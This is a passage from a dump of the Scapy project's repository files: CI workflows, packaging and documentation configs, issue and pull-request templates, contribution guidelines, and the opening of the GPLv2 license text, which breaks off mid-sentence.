CONTRIB\nscapy/contrib/automotive/bmw/hsfz.py\nscapy/contrib/automotive/doip.py\nscapy/contrib/automotive/ecu.py\nscapy/contrib/automotive/gm/gmlan_ecu_states.py\nscapy/contrib/automotive/gm/gmlan_logging.py\nscapy/contrib/automotive/gm/gmlan_scanner.py\nscapy/contrib/automotive/gm/gmlanutils.py\nscapy/contrib/automotive/kwp.py\nscapy/contrib/automotive/obd/scanner.py\nscapy/contrib/automotive/scanner/configuration.py\nscapy/contrib/automotive/scanner/enumerator.py\nscapy/contrib/automotive/scanner/executor.py\nscapy/contrib/automotive/scanner/graph.py\nscapy/contrib/automotive/scanner/staged_test_case.py\nscapy/contrib/automotive/scanner/test_case.py\nscapy/contrib/automotive/uds_ecu_states.py\nscapy/contrib/automotive/uds_logging.py\nscapy/contrib/automotive/uds_scan.py\nscapy/contrib/cansocket_native.py\nscapy/contrib/cansocket_python_can.py\n#scapy/contrib/http2.py  # needs to be fixed\nscapy/contrib/isotp/isotp_native_socket.py\nscapy/contrib/isotp/isotp_packet.py\nscapy/contrib/isotp/isotp_scanner.py\nscapy/contrib/isotp/isotp_soft_socket.py\nscapy/contrib/isotp/isotp_utils.py\nscapy/contrib/roce.py\nscapy/contrib/tcpao.py\n\n# LIBS\nscapy/libs/__init__.py\nscapy/libs/ethertypes.py\nscapy/libs/extcap.py\nscapy/libs/matplot.py\nscapy/libs/rfc3961.py\nscapy/libs/structures.py\nscapy/libs/test_pyx.py\n\n# TEST\ntest/testsocket.py\n\n# TOOLS\nscapy/tools/automotive/isotpscanner.py\n"
  },
  {
    "path": ".git-blame-ignore-revs",
    "content": "# This file contains the list of commits that should be excluded from\n# git blame. Read more informations on:\n# https://docs.github.com/en/repositories/working-with-files/using-files/viewing-a-file#ignore-commits-in-the-blame-view\n\n# PEPin - https://github.com/secdev/scapy/issues/1277\n# E231 - missing whitespace after ','\ne7365b2baeded1a0e1e3b59bc0ad14a78d6e3086\n# E30* - Incorrect number of blank lines\nb770bbc58c26437b354c0bd21dc4e2fcfa3abfdf\n# E20* - Incorrect number of whitespace\n6861a35d8ed4466df7b2ff82341e60caf9ff869a\n# E12* - visual indent\n275ad3246b5231bb046a66bcfdf3654d67fdea20\n# W29* - useless whitespaces\n453f2592f7b6f2b8677619769f8427932894dc1c\n# E251 - unexpected spaces around keyword / parameter equals\n203254afd771b42ccf0fcca96ba92dc4075cfe4a\n# E26 - comments\nb7a3db73dfd17ec1e7bbace8d52464982bf8ea8d\n# E1 - incorrect indentation\nf2f1de742aa36167e2c86247a26ed5e7393366ea\n#  F821 - undefined name 'name' \nf8525ea9f17cedf148febcab8d1dab51ddca9afe\n# E2* - whitespaces errors\n1c2fe99c131bb05e009896410766371a2f870175\n# E71* - tests syntax \n927c157b58918d5fdce9714a3c35627339cc8657\n# F841 - local variable 'name' is assigned to but never used \ndbe409531a22d1245cf4669f72a425b42c83b0db\n# PEPin several fixes\n93232490193ca2b59e3b1425131913d28f408f7a\n# E501 - line too long (> 79 characters)\ne89d8965748439adc253714316de7a9a35b8bd73\n# F601 - dictionary key repeated with different values\n0fd7d76550e56831f887664202d743846d3619dd\n# F811 - redefinition of unused variable/class/...\n10454d1ca243d0fd8d2ab4a148d688e3ea916e49\n# E402 - module level import not at top of file\n0f4a904d2801e8bbbc82880345ad453ceb6ee34f\n# E722 - do not use bare except\na35575ff22da176a8b515405faea9a689462da0c\n# E741 - ambiguous variable name 'l'\n7c61676aef950ca268eac480902dd91cb0abe3a4\n# F405 -  variable/function/... may be undefined, or defined from star\n8773983edb0336db7aa84777dee2aa9892508418\n# F401 - 'module' imported but unused\na58e1b90a704c394216a0b5a864a50931754bdf7\n# W502 - line break before binary operator\n9687222c3f0af6ef89ecfe15e5b983e1f7b5b31e\n# E275 - Missing whitespace after keyword\n08b1f9d67c8e716fd44036a027bdc90dcb9fcfdf\n"
  },
  {
    "path": ".gitattributes",
    "content": "scapy/__init__.py\texport-subst\n* text=auto\n*.bat text eol=crlf \n"
  },
  {
    "path": ".github/FUNDING.yml",
    "content": "github: [gpotter2, guedou, p-l-, polybassa]\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/BUGS.yml",
    "content": "name: Bug Report\ndescription: File a bug report\nbody:\n  - type: markdown\n    attributes:\n      value: |\n        ### Things to consider\n        1.  Please check that you are using the **latest Scapy version**, e.g. installed via:\n            `pip install --upgrade git+https://github.com/secdev/scapy.git`\n        2.  If you are here to ask a question - please check previous issues and online resources, and consider using Gitter instead: <https://gitter.im/secdev/scapy>\n        3.  Please understand that **this is not a forum** but an issue tracker. The following article explains why you should limit questions asked on Github issues: <https://medium.com/@methane/why-you-must-not-ask-questions-on-github-issues-51d741d83fde>\n\n        ***All bug reports must have at least one reproducible example.*** This may be a code snippet, a pcap file (zipped)..\n  - type: textarea\n    id: description\n    attributes:\n      label: Brief description\n      description: |\n        Describe the main issue in one sentence\n        If possible, describe what components / protocols could be affected by the issue (e.g. wrpcap() + IPv6, it is likely this also affects XXX)\n    validations:\n      required: true\n  - type: input\n    id: scapy_ver\n    attributes:\n      label: Scapy version\n      description: Give the Scapy version or the commit hash\n      placeholder: 2.4.5\n    validations:\n      required: true\n  - type: input\n    id: py_ver\n    attributes:\n      label: Python version\n      placeholder: \"3.8\"\n    validations:\n      required: true\n  - type: input\n    id: os\n    attributes:\n      label: Operating system\n      placeholder: Linux 5.10.46\n    validations:\n      required: true\n  - type: textarea\n    id: add_os\n    attributes:\n      label: Additional environment information\n      description: If needed - further information to get a picture of your setup (e.g. a sketch of your network setup)\n    validations:\n      required: false\n  - type: textarea\n    id: reproduce\n    attributes:\n      label: How to reproduce\n      description: Step-by-step explanation or a short script, may reference section 'Related resources'\n    validations:\n      required: true\n  - type: textarea\n    id: result\n    attributes:\n      label: Actual result\n      description: Dump results that outline the issue, please format your code\n  - type: textarea\n    id: expected_result\n    attributes:\n      label: Expected result\n      description: Describe the expected result and outline the difference to the actual one, could also be a screen shot (e.g. wireshark)\n  - type: textarea\n    id: resources\n    attributes:\n      label: Related resources\n      description: Traces / sample pcaps (stripped to the relevant frames), related standards, RFCs or other resources\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/config.yml",
    "content": "blank_issues_enabled: true\ncontact_links:\n  - name: Ask a question\n    url: https://gitter.im/secdev/scapy\n    about: Please ask and answer questions on Gitter.\n"
  },
  {
    "path": ".github/PULL_REQUEST_TEMPLATE.md",
    "content": "<!-- This is just a checklist to guide you. Please remove it if you check all items. -->\n\n**Checklist:**\n\n-   [ ] If you are new to Scapy: I have checked [CONTRIBUTING.md](https://github.com/secdev/scapy/blob/master/CONTRIBUTING.md) (esp. section submitting-pull-requests)\n-   [ ] I squashed commits belonging together\n-   [ ] I added unit tests or explained why they are not relevant\n-   [ ] I executed the regression tests (using `tox`)\n-   [ ] If the PR is still not finished, please create a [Draft Pull Request](https://github.blog/2019-02-14-introducing-draft-pull-requests/)\n\n<!-- brief description what this PR will do, e.g. fixes broken dissection of XXX -->\n\n<!-- if required - short explanation why you fixed something in a way that may look more complicated as it actually is ->>\n\n<!-- if required - outline impacts on other parts of the library -->\n\nfixes #xxx <!-- (add issue number here if appropriate, else remove this line) -->\n"
  },
  {
    "path": ".github/codecov.yml",
    "content": "codecov:\n  notify:\n    # Do not send notifications when CI fails\n    require_ci_to_pass: true\n\ncomment:\n  # Define codevov comments behavior and content\n  behavior: default\n  layout: header, diff, tree\n  require_changes: false\n\ncoverage:\n  # Define coverage range and precision\n  precision: 2\n  range: \"70..100\"\n  round: down\n  status:\n    # Only consider changes to the whole project\n    project:\n      default:\n        target: auto\n        threshold: 0.5%\n        base: auto\n    patch: false\n    changes: false\n\nparsers:\n  gcov:\n    branch_detection:\n      conditional: true\n      loop: true\n      macro: false\n      method: false\n  javascript:\n    enable_partials: yes\n"
  },
  {
    "path": ".github/workflows/cifuzz.yml",
    "content": "name: CIFuzz\n\non:\n  push:\n    branches: [master]\n\npermissions:\n  contents: read\n\njobs:\n  Fuzzing:\n    runs-on: ubuntu-latest\n    if: github.repository == 'secdev/scapy'\n    concurrency:\n      group: ${{ github.workflow }}-${{ github.ref }}\n      cancel-in-progress: true\n\n    steps:\n      - name: Build Fuzzers\n        id: build\n        uses: google/oss-fuzz/infra/cifuzz/actions/build_fuzzers@master\n        with:\n          oss-fuzz-project-name: 'scapy'\n          language: python\n          dry-run: false\n          allowed-broken-targets-percentage: 0\n      - name: Run Fuzzers\n        uses: google/oss-fuzz/infra/cifuzz/actions/run_fuzzers@master\n        with:\n          oss-fuzz-project-name: 'scapy'\n          language: python\n          dry-run: false\n          fuzz-seconds: 300\n      - name: Upload Crash\n        uses: actions/upload-artifact@v4\n        if: failure() && steps.build.outcome == 'success'\n        with:\n          name: artifacts\n          path: ./out/artifacts\n"
  },
  {
    "path": ".github/workflows/unittests.yml",
    "content": "name: Scapy unit tests\n\non:\n  push:\n    branches: [master]\n  pull_request:\n    # The branches below must be a subset of the branches above\n    branches: [master]\n\n# https://docs.github.com/en/actions/writing-workflows/choosing-what-your-workflow-does/control-the-concurrency-of-workflows-and-jobs\nconcurrency:\n  group: ${{ github.workflow }}-${{ github.ref }}\n  cancel-in-progress: ${{ !contains(github.ref, 'master')}}\n\npermissions:\n  contents: read\n\njobs:\n  health:\n    name: Code health check\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout Scapy\n        uses: actions/checkout@v4\n      - name: Setup Python\n        uses: actions/setup-python@v5\n        with:\n          python-version: \"3.12\"\n      - name: Install tox\n        run: pip install tox\n      - name: Run flake8 tests\n        run: tox -e flake8\n      - name: Run codespell\n        run: tox -e spell\n      - name: Run twine check\n        run: tox -e twine\n      - name: Run gitarchive check\n        run: tox -e gitarchive\n  docs:\n    # 'runs-on' and 'python-version' should match the ones defined in .readthedocs.yml\n    name: Build doc\n    runs-on: ubuntu-22.04\n    steps:\n      - name: Checkout Scapy\n        uses: actions/checkout@v4\n      - name: Setup Python\n        uses: actions/setup-python@v5\n        with:\n          python-version: \"3.12\"\n      - name: Install tox\n        run: pip install tox\n      - name: Build docs\n        run: tox -e docs\n  spdx:\n    name: Check SPDX identifiers\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout Scapy\n        uses: actions/checkout@v4\n      - name: Launch script\n        run: bash scapy/tools/check_spdx.sh\n  mypy:\n    name: Type hints check\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout Scapy\n        uses: actions/checkout@v4\n      - name: Setup Python\n        uses: actions/setup-python@v5\n        with:\n          python-version: \"3.12\"\n      - name: Install tox\n        run: pip install tox\n      - name: Run mypy\n        run: tox -e mypy\n\n  utscapy:\n    name: ${{ matrix.os }} ${{ matrix.installmode }} ${{ matrix.python }} ${{ matrix.mode }} ${{ matrix.flags }}\n    runs-on: ${{ matrix.os }}\n    timeout-minutes: 20\n    continue-on-error: ${{ matrix.allow-failure == 'true' }}\n    strategy:\n      fail-fast: false\n      matrix:\n        os: [ubuntu-latest]\n        python: [\"3.8\", \"3.9\", \"3.10\", \"3.11\", \"3.12\"]\n        mode: [non_root]\n        installmode: ['']\n        flags: [\" -K scanner\"]\n        allow-failure: ['false']\n        include:\n          # Python 3.7\n          - os: ubuntu-22.04\n            python: \"3.7\"\n            mode: non_root\n            flags: \" -K scanner\"\n          # Linux root tests on last version\n          - os: ubuntu-latest\n            python: \"3.13\"\n            mode: root\n            flags: \" -K scanner\"\n          # PyPy tests: root only\n          - os: ubuntu-latest\n            python: \"pypy3.11\"\n            mode: root\n            flags: \" -K scanner\"\n          # Libpcap test\n          - os: ubuntu-latest\n            python: \"3.13\"\n            mode: root\n            installmode: 'libpcap'\n            flags: \" -K scanner\"\n          # macOS tests\n          - os: macos-14\n            python: \"3.13\"\n            mode: both\n            flags: \" -K scanner\"\n          # windows tests\n          - os: windows-latest\n            python: \"3.13\"\n            mode: root\n            flags: \" -K scanner\"\n          # Scanner tests\n          - os: ubuntu-latest\n            python: \"3.13\"\n            mode: root\n            allow-failure: 'true'\n            flags: \" -k scanner\"\n          - os: ubuntu-latest\n            python: \"pypy3.11\"\n            mode: root\n            flags: \" -k scanner\"\n          - os: macos-14\n            python: \"3.13\"\n            mode: both\n            allow-failure: 'true'\n            flags: \" -k scanner\"\n          - os: windows-latest\n            python: \"3.13\"\n            mode: both\n            allow-failure: 'true'\n            flags: \" -k scanner\"\n    steps:\n      - name: Checkout Scapy\n        uses: actions/checkout@v4\n        # Codecov requires a fetch-depth > 1\n        with:\n          fetch-depth: 2\n      - name: Setup Python\n        uses: actions/setup-python@v5\n        with:\n          python-version: ${{ matrix.python }}\n      - name: Install Tox and any other packages (linux/osx)\n        run: ./.config/ci/install.sh ${{ matrix.installmode }}\n        if: ${{ ! contains(matrix.os, 'windows') }}\n      - name: Install Tox and any other packages (win)\n        run: ./.config/ci/install.ps1\n        if: ${{ contains(matrix.os, 'windows') }}\n      - name: Run Tox (linux/osx)\n        run: ./.config/ci/test.sh ${{ matrix.python }} ${{ matrix.mode }}\n        env:\n          UT_FLAGS: ${{ matrix.flags }}\n        if: ${{ ! contains(matrix.os, 'windows') }}\n      - name: Run Tox (win)\n        run: ./.config/ci/test.ps1 ${{ matrix.python }}\n        env:\n          UT_FLAGS: ${{ matrix.flags }}\n        if: ${{ contains(matrix.os, 'windows') }}\n      - name: Codecov\n        uses: codecov/codecov-action@v5\n        continue-on-error: true\n        with:\n          token: ${{ secrets.CODECOV_TOKEN }}\n\n  cryptography:\n    name: pyca/cryptography test\n    runs-on: ubuntu-latest\n    steps:\n    - name: Checkout repository\n      uses: actions/checkout@v4\n    - name: Setup Python\n      uses: actions/setup-python@v5\n      with:\n        python-version: \"3.12\"\n    - name: Install tox\n      run: pip install tox\n    # pyca/cryptography's CI installs cryptography\n    # then runs the tests. We therefore didn't include it in tox\n    - name: Install cryptography\n      run: pip install cryptography\n    - name: Run tests\n      run: tox -e cryptography\n\n  # CODE-QL\n  analyze:\n    name: CodeQL analysis\n    runs-on: ubuntu-latest\n    permissions:\n      security-events: write\n    steps:\n    - name: Checkout repository\n      uses: actions/checkout@v4\n      with:\n        fetch-depth: 2\n    - name: Initialize CodeQL\n      uses: github/codeql-action/init@v3\n      with:\n         languages: 'python'\n    - name: Perform CodeQL Analysis\n      uses: github/codeql-action/analyze@v3\n"
  },
  {
    "path": ".gitignore",
    "content": "*.pyc\n*.pyo\ndist/\nbuild/\nMANIFEST\n*.egg-info/\ntest/*.html\n.coverage*\ncoverage.xml\n.tox\n.ipynb_checkpoints\n.mypy_cache\n.vscode\n.DS_Store\n[.]venv/\n__pycache__/\ndoc/scapy/_build\ndoc/scapy/api\n.idea"
  },
  {
    "path": ".packit.yml",
    "content": "---\n# Docs: https://packit.dev/docs\n\nspecfile_path: .packit_rpm/scapy.spec\nfiles_to_sync:\n  - .packit.yml\n  - src: .packit_rpm/scapy.spec\n    dest: scapy.spec\nupstream_package_name: scapy\ndownstream_package_name: scapy\nupstream_tag_template: \"v{version}\"\nsrpm_build_deps: []\n\nactions:\n  post-upstream-clone:\n    # Use the Fedora Rawhide specfile\n    - \"git clone https://src.fedoraproject.org/rpms/scapy .packit_rpm --depth=1\"\n    # Drop the \"sources\" file so rebase-helper doesn't think we're a dist-git\n    - \"rm -fv .packit_rpm/sources\"\n    # Drop all downstream patches to prevent them from interfering with upstream builds\n    - \"sed -ri '/^Patch[0-9]+\\\\:.+\\\\.patch/d' .packit_rpm/scapy.spec\"\n    - \"sed -i '/^%check$/apip3 install scapy-rpc\\\\nOPENSSL_ENABLE_SHA1_SIGNATURES=1 OPENSSL_CONF=$(python3 ./.config/ci/openssl.py) ./test/run_tests -c test/configs/linux.utsc -K ci_only -K netaccess -K scanner' .packit_rpm/scapy.spec\"\n    - \"sed -i '/^BuildArch/aBuildRequires: can-utils' .packit_rpm/scapy.spec\"\n    - \"sed -i '/^BuildArch/aBuildRequires: libpcap' .packit_rpm/scapy.spec\"\n    - \"sed -i '/^BuildArch/aBuildRequires: openssl' .packit_rpm/scapy.spec\"\n    - \"sed -i '/^BuildArch/aBuildRequires: tcpdump' .packit_rpm/scapy.spec\"\n    - \"sed -i '/^BuildArch/aBuildRequires: wireshark' .packit_rpm/scapy.spec\"\n    - \"sed -i '/^BuildArch/aBuildRequires: python3-ipython' .packit_rpm/scapy.spec\"\n    - \"sed -i '/^BuildArch/aBuildRequires: python3-brotli' .packit_rpm/scapy.spec\"\n    - \"sed -i '/^BuildArch/aBuildRequires: python3-can' .packit_rpm/scapy.spec\"\n    - \"sed -i '/^BuildArch/aBuildRequires: python3-cbor2' .packit_rpm/scapy.spec\"\n    - \"sed -i '/^BuildArch/aBuildRequires: python3-coverage' .packit_rpm/scapy.spec\"\n    - \"sed -i '/^BuildArch/aBuildRequires: python3-cryptography' .packit_rpm/scapy.spec\"\n    - \"sed -i '/^BuildArch/aBuildRequires: python3-tkinter' .packit_rpm/scapy.spec\"\n    - \"sed -i '/^BuildArch/aBuildRequires: python3-zstandard' .packit_rpm/scapy.spec\"\n    - \"sed -i '/^BuildArch/aBuildRequires: samba' .packit_rpm/scapy.spec\"\n    - \"sed -i '/^BuildArch/aBuildRequires: samba-client' .packit_rpm/scapy.spec\"\n\njobs:\n- job: copr_build\n  trigger: pull_request\n  manual_trigger: true\n  enable_net: true\n  targets:\n  - fedora-latest-stable-aarch64\n  - fedora-latest-stable-i386\n  - fedora-latest-stable-ppc64le\n  - fedora-latest-stable-s390x\n  - fedora-latest-stable-x86_64\n  - fedora-rawhide-aarch64\n  - fedora-rawhide-i386\n  - fedora-rawhide-ppc64le\n  - fedora-rawhide-s390x\n  - fedora-rawhide-x86_64\n"
  },
  {
    "path": ".readthedocs.yml",
    "content": "# Readthedocs config file.\n\n# See https://docs.readthedocs.io/en/stable/config-file/v2.html#supported-settings\n\nversion: 2\n\nsphinx:\n  configuration: doc/scapy/conf.py\n\nformats:\n  - epub\n  - pdf\n\nbuild:\n  os: ubuntu-22.04\n  tools:\n    python: \"3.12\"\n  # To show the correct Scapy version, we must unshallow\n  # https://docs.readthedocs.io/en/stable/build-customization.html#unshallow-git-clone\n  jobs:\n    post_checkout:\n      - git fetch --unshallow || true\n\n# https://docs.readthedocs.io/en/stable/config-file/v2.html#python\npython:\n  install:\n    - method: pip\n      path: .\n      extra_requirements:\n        - doc\n"
  },
  {
    "path": ".travis.yml",
    "content": "language: python\ndist: bionic  # OpenSSL 1.1.1\ncache:\n  directories:\n  - $HOME/.cache/pip\n  - .tox\n\njobs:\n    include:\n        # run custom root tests\n        # isotp\n        - os: linux\n          python: 3.8\n          env:\n            - TOXENV=py38-isotp_kernel_module,codecov\n\ninstall:\n  - bash .config/ci/install.sh\n  - python -c \"from scapy.all import conf; print(repr(conf))\"\n\nscript: bash .config/ci/test.sh\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "# How to contribute\n\nContributors are essential to Scapy (as they are to most open source\nprojects). Here is some advice to help you help the project!\n\n## Project objectives\n\nWe try to keep Scapy as powerful as possible, to support as many\nprotocols and platforms as possible, to keep and make the code (and\nthe commit history) as clean as possible.\n\nSince Scapy can be slow and memory consuming, we try to limit CPU and\nmemory usage, particularly in parts of the code often called.\n\n## What to contribute\n\nYou want to spend time working on Scapy but have no (or little)\nidea what to do? You can look for open issues\n[labeled \"contributions wanted\"](https://github.com/secdev/scapy/labels/contributions%20wanted), or look at the [contributions roadmap](https://github.com/secdev/scapy/issues/399)\n\nIf you have any ideas of useful contributions that you cannot (or do\nnot want to) do yourself, open an issue and include\n\"contributions wanted\" in the title.\n\nOnce you have chosen a contribution, open an issue to let other people\nknow you're working on it (or assign the existing issue to yourself)\nand track your progress. You might want to ask whether you're working\nin an appropriate direction, to avoid the frustration of seeing your\ncontribution rejected after a lot of work.\n\n## Reporting issues\n\n### Bugs\n\nIf you have installed Scapy through a package manager (from your Linux\nor BSD system, from PyPI, etc.), please get and install the current\ndevelopment code, and check that the bug still exists before\nsubmitting an issue.\n\nIf you're not sure whether a behavior is a bug or not, submit an issue\nand ask, don't be shy!\n\n### Enhancements / feature requests\n\nIf you want a feature in Scapy, but cannot implement it yourself or\nwant some hints on how to do that, open an issue and include\n\"enhancement\" in the title.\n\nExplain if possible the API you would like to have (e.g., give examples\nof function calls, packet creations, etc.).\n\n## Submitting pull requests\n\n### Coding style & conventions\n\n-   The code should be PEP-8 compliant; you can check your code with\n    [pep8](https://pypi.python.org/pypi/pep8) and the command `tox -e flake8`\n\n-   [Pylint](http://www.pylint.org/) can help you write good Python\n    code (even if respecting Pylint rules is sometimes either too hard\n    or even undesirable; human brain needed!).\n\n-   [Google Python Style Guide](https://google.github.io/styleguide/pyguide.html)\n    is a nice read!\n\n-   Avoid creating unnecessary `list` objects, particularly if they\n    can be huge (e.g., when possible, use `for line in fdesc` instead of\n    `for line in fdesc.readlines()`; more generally prefer generators over\n    lists).\n\n### Tests\n\nPlease consider adding tests for your new features or that trigger the\nbug you are fixing. This will prevent a regression from being\nunnoticed. Do not use the variable `_`  in your tests, as it could break them.\n\nIf you find yourself in a situation where your tests locally succeed  but \nfail if executed on the CI, try to enable the debugging option for the \ndissector by setting `conf.debug_dissector = 1`.\n\n### New protocols\n\nNew protocols can go either in `scapy/layers` or to\n`scapy/contrib`. Protocols in `scapy/layers` should be usually found\non common networks, while protocols in `scapy/contrib` should be\nuncommon or specific.\n\nTo be precise, `scapy/layers` protocols should not be importing `scapy/contrib`\nprotocols, whereas `scapy/contrib` protocols may import both `scapy/contrib` and\n`scapy/layers` protocols.\n\nThe detailed requirements are explained in [Design patterns](https://scapy.readthedocs.io/en/latest/build_dissect.html#design-patterns) on Scapy's doc.\n\n### Features\n\nProtocol-related features should be implemented within the same module\nas the protocol layers(s) (e.g., `traceroute()` is implemented in\n`scapy/layers/inet.py`).\n\nOther features may be implemented in a module (`scapy/modules`) or a\ncontribution (`scapy/contrib`).\n\n### Core\n\nIf you contribute to Scapy's core (e.g., `scapy/base_classes.py`,\n`scapy/packet.py`, etc.), please be very careful with performances and\nmemory footprint, as it is easy to write Python code that wastes\nmemory or CPU cycles.\n\nAs an example, `Packet().__init__()` is called each time a **layer** is\nparsed from a string (during a network capture or a PCAP file\nread). Adding inefficient code here will have a disastrous effect on\nScapy's performances.\n\n### Logging\n\nScapy has an internal logging system based on `logging`.\n\nIn the past, Scapy was generally too verbose on packet dissection,\nleading many new users to disable all logs, which makes it harder for them\nto find real issues afterwards. You should comply with these guidelines to\nmake sure logging in Scapy remains helpful.\n\n-  If you want the log message to only be displayed when using Scapy through\n   the interactive console, use `scapy.error.log_interactive`. You are free to\n   use any log level.\n-  Otherwise, always use `scapy.error.log_runtime`.\n   -  On **packet dissection**, of *packet layers*\n      you should remain **AT OR BELOW the `logging.INFO` level**, unless the\n      issue is critical or tied to security.\n      For instance: \"DNS Decompression loop detected !\" is allowed as WARNING,\n      but \"Could not dissect packet\" or \"Invalid value detected\" are not.\n   -  On **packet build** or **any command** or function that is called by the\n      user or the root program, you are **free and welcomed** to use the WARNING\n      or ERROR levels, to signal that a packet was wrongly built for instance.\n-  If you are working on Scapy's core, you may use: `scapy.error.log_loading`\n   only while Scapy is loading, to display import errors for instance.\n\n### Code review\n\nMaintainers tend to be picky, and you might feel frustrated that your\ncode (which is perfectly working in your use case) is not merged\nfaster.\n\nPlease don't be offended, and keep in mind that maintainers are\nconcerned about code maintainability and readability, commit history\n(we use the history a lot, for example to find regressions or\nunderstand why certain decisions have been made), performances,\nintegration in Scapy, API consistency (so that someone who knows how\nto use Scapy will know how to use your code), etc.\n\n**Thanks for reading, happy hacking!**\n"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 2, June 1991\n\n Copyright (C) 1989, 1991 Free Software Foundation, Inc.,\n 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The licenses for most software are designed to take away your\nfreedom to share and change it.  By contrast, the GNU General Public\nLicense is intended to guarantee your freedom to share and change free\nsoftware--to make sure the software is free for all its users.  This\nGeneral Public License applies to most of the Free Software\nFoundation's software and to any other program whose authors commit to\nusing it.  (Some other Free Software Foundation software is covered by\nthe GNU Lesser General Public License instead.)  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthis service if you wish), that you receive source code or can get it\nif you want it, that you can change the software or use pieces of it\nin new free programs; and that you know you can do these things.\n\n  To protect your rights, we need to make restrictions that forbid\nanyone to deny you these rights or to ask you to surrender the rights.\nThese restrictions translate to certain responsibilities for you if you\ndistribute copies of the software, or if you modify it.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must give the recipients all the rights that\nyou have.  You must make sure that they, too, receive or can get the\nsource code.  And you must show them these terms so they know their\nrights.\n\n  We protect your rights with two steps: (1) copyright the software, and\n(2) offer you this license which gives you legal permission to copy,\ndistribute and/or modify the software.\n\n  Also, for each author's protection and ours, we want to make certain\nthat everyone understands that there is no warranty for this free\nsoftware.  If the software is modified by someone else and passed on, we\nwant its recipients to know that what they have is not the original, so\nthat any problems introduced by others will not reflect on the original\nauthors' reputations.\n\n  Finally, any free program is threatened constantly by software\npatents.  We wish to avoid the danger that redistributors of a free\nprogram will individually obtain patent licenses, in effect making the\nprogram proprietary.  To prevent this, we have made it clear that any\npatent must be licensed for everyone's free use or not licensed at all.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                    GNU GENERAL PUBLIC LICENSE\n   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n\n  0. This License applies to any program or other work which contains\na notice placed by the copyright holder saying it may be distributed\nunder the terms of this General Public License.  The \"Program\", below,\nrefers to any such program or work, and a \"work based on the Program\"\nmeans either the Program or any derivative work under copyright law:\nthat is to say, a work containing the Program or a portion of it,\neither verbatim or with modifications and/or translated into another\nlanguage.  (Hereinafter, translation is included without limitation in\nthe term \"modification\".)  Each licensee is addressed as \"you\".\n\nActivities other than copying, distribution and modification are not\ncovered by this License; they are outside its scope.  The act of\nrunning the Program is not restricted, and the output from the Program\nis covered only if its contents constitute a work based on the\nProgram (independent of having been made by running the Program).\nWhether that is true depends on what the Program does.\n\n  1. You may copy and distribute verbatim copies of the Program's\nsource code as you receive it, in any medium, provided that you\nconspicuously and appropriately publish on each copy an appropriate\ncopyright notice and disclaimer of warranty; keep intact all the\nnotices that refer to this License and to the absence of any warranty;\nand give any other recipients of the Program a copy of this License\nalong with the Program.\n\nYou may charge a fee for the physical act of transferring a copy, and\nyou may at your option offer warranty protection in exchange for a fee.\n\n  2. You may modify your copy or copies of the Program or any portion\nof it, thus forming a work based on the Program, and copy and\ndistribute such modifications or work under the terms of Section 1\nabove, provided that you also meet all of these conditions:\n\n    a) You must cause the modified files to carry prominent notices\n    stating that you changed the files and the date of any change.\n\n    b) You must cause any work that you distribute or publish, that in\n    whole or in part contains or is derived from the Program or any\n    part thereof, to be licensed as a whole at no charge to all third\n    parties under the terms of this License.\n\n    c) If the modified program normally reads commands interactively\n    when run, you must cause it, when started running for such\n    interactive use in the most ordinary way, to print or display an\n    announcement including an appropriate copyright notice and a\n    notice that there is no warranty (or else, saying that you provide\n    a warranty) and that users may redistribute the program under\n    these conditions, and telling the user how to view a copy of this\n    License.  (Exception: if the Program itself is interactive but\n    does not normally print such an announcement, your work based on\n    the Program is not required to print an announcement.)\n\nThese requirements apply to the modified work as a whole.  If\nidentifiable sections of that work are not derived from the Program,\nand can be reasonably considered independent and separate works in\nthemselves, then this License, and its terms, do not apply to those\nsections when you distribute them as separate works.  But when you\ndistribute the same sections as part of a whole which is a work based\non the Program, the distribution of the whole must be on the terms of\nthis License, whose permissions for other licensees extend to the\nentire whole, and thus to each and every part regardless of who wrote it.\n\nThus, it is not the intent of this section to claim rights or contest\nyour rights to work written entirely by you; rather, the intent is to\nexercise the right to control the distribution of derivative or\ncollective works based on the Program.\n\nIn addition, mere aggregation of another work not based on the Program\nwith the Program (or with a work based on the Program) on a volume of\na storage or distribution medium does not bring the other work under\nthe scope of this License.\n\n  3. You may copy and distribute the Program (or a work based on it,\nunder Section 2) in object code or executable form under the terms of\nSections 1 and 2 above provided that you also do one of the following:\n\n    a) Accompany it with the complete corresponding machine-readable\n    source code, which must be distributed under the terms of Sections\n    1 and 2 above on a medium customarily used for software interchange; or,\n\n    b) Accompany it with a written offer, valid for at least three\n    years, to give any third party, for a charge no more than your\n    cost of physically performing source distribution, a complete\n    machine-readable copy of the corresponding source code, to be\n    distributed under the terms of Sections 1 and 2 above on a medium\n    customarily used for software interchange; or,\n\n    c) Accompany it with the information you received as to the offer\n    to distribute corresponding source code.  (This alternative is\n    allowed only for noncommercial distribution and only if you\n    received the program in object code or executable form with such\n    an offer, in accord with Subsection b above.)\n\nThe source code for a work means the preferred form of the work for\nmaking modifications to it.  For an executable work, complete source\ncode means all the source code for all modules it contains, plus any\nassociated interface definition files, plus the scripts used to\ncontrol compilation and installation of the executable.  However, as a\nspecial exception, the source code distributed need not include\nanything that is normally distributed (in either source or binary\nform) with the major components (compiler, kernel, and so on) of the\noperating system on which the executable runs, unless that component\nitself accompanies the executable.\n\nIf distribution of executable or object code is made by offering\naccess to copy from a designated place, then offering equivalent\naccess to copy the source code from the same place counts as\ndistribution of the source code, even though third parties are not\ncompelled to copy the source along with the object code.\n\n  4. You may not copy, modify, sublicense, or distribute the Program\nexcept as expressly provided under this License.  Any attempt\notherwise to copy, modify, sublicense or distribute the Program is\nvoid, and will automatically terminate your rights under this License.\nHowever, parties who have received copies, or rights, from you under\nthis License will not have their licenses terminated so long as such\nparties remain in full 